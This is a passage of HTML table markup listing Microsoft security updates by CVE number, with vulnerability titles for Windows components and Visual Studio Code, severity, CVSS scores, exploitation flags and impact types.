  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
